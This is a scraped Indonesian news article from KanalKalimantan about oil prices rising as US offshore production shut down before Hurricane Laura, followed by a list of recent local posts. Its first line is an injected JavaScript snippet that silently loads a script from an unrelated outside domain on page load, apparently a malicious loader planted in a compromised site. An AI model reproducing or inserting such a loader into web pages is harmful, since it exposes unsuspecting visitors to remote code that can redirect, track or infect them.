(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Bisnis

Badai Laura Bawa Harga Minyak Dunia Meroket ke Level Tertingginya


KANALKALIMANTAN.COM, JAKARTA – Harga minyak mentah dunia meroket ke level tertingginya setelah produsen AS menutup sebagian besar produksi minyak lepas pantai di Teluk Meksiko menjelang kedatangan Badai Laura.

Mengutip CNBC, Rabu (26/8/2020) harga minyak mentah berjangka Brent, patokan internasional, ditutup melonjak 73 sen atau 1,6 persen, menjadi 45,86 dolar AS per barel. Sementara minyak mentah West Texas Intermediate (WTI), patokan Amerika Serikat, melambung 73 sen, atau 1,7 persen, menjadi 43,35 dolar AS.

Itu merupakan level penutupan tertinggi bagi kedua tolok ukur tersebut sejak 5 Maret, sehari sebelum Arab Saudi dan Rusia gagal menyetujui rencana baru untuk memangkas produksi dan sekitar seminggu sebelum Organisasi Kesehatan Dunia menyatakan Covid-19 sebagai pandemi.

Produsen minyak di AS mengurangi operasi mereka karena Badai Laura diprakirakan akan menerjang sepanjang pesisir Texas/Louisiana dengan kecepatan 185 kilometer per jam pada Kamis dini hari. Topan Laura diperkirakan memiliki daya rusak sehebat Topan Katrina 2005 lalu.

Laura diperkirakan menguat menjadi badai besar dengan kecepatan angin mencapai 115 mil per jam (185 kilometer per jam) sebelum menghantam pantai dekat perbatasan Texas-Louisiana menurut National Hurricane Center Amerika.

Selasa, produsen mengevakuasi 310 fasilitas lepas pantai dan menutup produksi minyak mentah 1,56 juta barel per hari, atau sekitar 84 persen dari produksi lepas pantai Teluk Meksiko, mendekati penutupan 90 persen yang disebabkan Badai Katrina 15 tahun lalu.

Pada hari Senin, produsen migas menghentikan produksi 1,5 juta barel minyak mentah per hari, sekitar 82 persen dari kapasitas produksi lepas pantai Teluk Meksiko. Naiknya kurva Covid-19 di sejumlah negara menahan laju naiknya harga minyak mentah dunia. Kelebihan produksi juga berpotensi membuat harga minyak kembali jatuh.

American Petroleum Institute (API) melaporkan pada hari Selasa bahwa minggu lalu, produksi minyak AS mencapai 4,52 juta barel, di atas estimasi analis sebesar 3,69 juta barel.
“Secara keseluruhan, badai mungkin membatasi pasokan pekan ini. Tetapi pasar akan segera kembali fokus pada badai terbesar dari semuanya, yaitu Covid-19,” kata Bjornar Tonhaugen, Kepala Pasar Minyak Rystad Energy.(suara)

 

Editor: Cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.